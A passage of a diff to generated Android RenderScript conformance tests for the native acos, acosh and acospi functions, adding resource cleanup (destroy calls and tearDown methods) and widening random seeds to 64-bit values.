+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7749aa14657f3d94l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeAcosFloatFloat(inV, out);
             verifyResultsNativeAcosFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcosFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcosFloatFloat(inV, out);
             verifyResultsNativeAcosFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcosFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcosFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeAcosFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xd87e02d8l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x92e82297d87e02d8l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeAcosFloat2Float2(inV, out);
             verifyResultsNativeAcosFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcosFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcosFloat2Float2(inV, out);
             verifyResultsNativeAcosFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcosFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcosFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeAcosFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xce9923b6l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x92e9ebb2ce9923b6l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeAcosFloat3Float3(inV, out);
             verifyResultsNativeAcosFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcosFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcosFloat3Float3(inV, out);
             verifyResultsNativeAcosFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcosFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcosFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeAcosFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xc4b44494l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x92ebb4cdc4b44494l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeAcosFloat4Float4(inV, out);
             verifyResultsNativeAcosFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcosFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcosFloat4Float4(inV, out);
             verifyResultsNativeAcosFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcosFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcosFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeAcosHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xde848e1el, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xb6196d85de848e1el, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeAcosHalfHalf(inV, out);
             verifyResultsNativeAcosHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcosHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcosHalfHalf(inV, out);
             verifyResultsNativeAcosHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcosHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcosHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeAcosHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xd29d84d0l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x3da71bc7d29d84d0l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeAcosHalf2Half2(inV, out);
             verifyResultsNativeAcosHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcosHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcosHalf2Half2(inV, out);
             verifyResultsNativeAcosHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcosHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcosHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeAcosHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x31a549c4l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x3da7266931a549c4l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeAcosHalf3Half3(inV, out);
             verifyResultsNativeAcosHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcosHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcosHalf3Half3(inV, out);
             verifyResultsNativeAcosHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcosHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcosHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeAcosHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x90ad0eb8l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x3da7310a90ad0eb8l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeAcosHalf4Half4(inV, out);
             verifyResultsNativeAcosHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcosHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcosHalf4Half4(inV, out);
             verifyResultsNativeAcosHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcosHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcosHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcosh.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcosh.java
index 8c609d4..d5c9151 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcosh.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcosh.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeAcoshRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeAcoshFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9e417fcal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x97c6a2f89e417fcal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeAcoshFloatFloat(inV, out);
             verifyResultsNativeAcoshFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcoshFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcoshFloatFloat(inV, out);
             verifyResultsNativeAcoshFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcoshFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcoshFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeAcoshFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xcb8e3adel, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x3989caf5cb8e3adel, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeAcoshFloat2Float2(inV, out);
             verifyResultsNativeAcoshFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcoshFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcoshFloat2Float2(inV, out);
             verifyResultsNativeAcoshFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcoshFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcoshFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeAcoshFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xc1a95bbcl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x398b9410c1a95bbcl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeAcoshFloat3Float3(inV, out);
             verifyResultsNativeAcoshFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcoshFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcoshFloat3Float3(inV, out);
             verifyResultsNativeAcoshFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcoshFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcoshFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeAcoshFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb7c47c9al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x398d5d2bb7c47c9al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeAcoshFloat4Float4(inV, out);
             verifyResultsNativeAcoshFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcoshFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcoshFloat4Float4(inV, out);
             verifyResultsNativeAcoshFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcoshFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcoshFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeAcoshHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x34f17c04l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x2b63039a34f17c04l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeAcoshHalfHalf(inV, out);
             verifyResultsNativeAcoshHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcoshHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcoshHalfHalf(inV, out);
             verifyResultsNativeAcoshHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcoshHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcoshHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeAcoshHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb5fc706l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5e2414ac0b5fc706l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeAcoshHalf2Half2(inV, out);
             verifyResultsNativeAcoshHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcoshHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcoshHalf2Half2(inV, out);
             verifyResultsNativeAcoshHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcoshHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcoshHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeAcoshHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x6a678bfal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5e241f4d6a678bfal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeAcoshHalf3Half3(inV, out);
             verifyResultsNativeAcoshHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcoshHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcoshHalf3Half3(inV, out);
             verifyResultsNativeAcoshHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcoshHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcoshHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeAcoshHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xc96f50eel, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5e2429eec96f50eel, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeAcoshHalf4Half4(inV, out);
             verifyResultsNativeAcoshHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcoshHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcoshHalf4Half4(inV, out);
             verifyResultsNativeAcoshHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcoshHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcoshHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcospi.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcospi.java
index 1a71e07..8738a82 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcospi.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcospi.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeAcospiRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeAcospiFloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x99c7d8ffl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xdcf67f5599c7d8ffl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeAcospiFloatFloat(inV, out);
             verifyResultsNativeAcospiFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcospiFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcospiFloatFloat(inV, out);
             verifyResultsNativeAcospiFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcospiFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcospiFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeAcospiFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x78e88aabl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xf038668a78e88aabl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeAcospiFloat2Float2(inV, out);
             verifyResultsNativeAcospiFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcospiFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcospiFloat2Float2(inV, out);
             verifyResultsNativeAcospiFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcospiFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcospiFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeAcospiFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x6f03ab89l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xf03a2fa56f03ab89l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeAcospiFloat3Float3(inV, out);
             verifyResultsNativeAcospiFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcospiFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcospiFloat3Float3(inV, out);
             verifyResultsNativeAcospiFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcospiFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcospiFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeAcospiFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x651ecc67l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf03bf8c0651ecc67l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeAcospiFloat4Float4(inV, out);
             verifyResultsNativeAcospiFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcospiFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcospiFloat4Float4(inV, out);
             verifyResultsNativeAcospiFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcospiFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcospiFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeAcospiHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xcf2d81e1l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x400dc0b5cf2d81e1l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeAcospiHalfHalf(inV, out);
             verifyResultsNativeAcospiHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcospiHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcospiHalfHalf(inV, out);
             verifyResultsNativeAcospiHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcospiHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcospiHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeAcospiHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x6e6203bl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xa353f10906e6203bl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeAcospiHalf2Half2(inV, out);
             verifyResultsNativeAcospiHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcospiHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcospiHalf2Half2(inV, out);
             verifyResultsNativeAcospiHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcospiHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAcospiHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeAcospiHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x65ede52fl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xa353fbaa65ede52fl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeAcospiHalf3Half3(inV, out);
             verifyResultsNativeAcospiHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAcospiHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAcospiHalf3Half3(inV, out);
             verifyResultsNativeAcospiHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
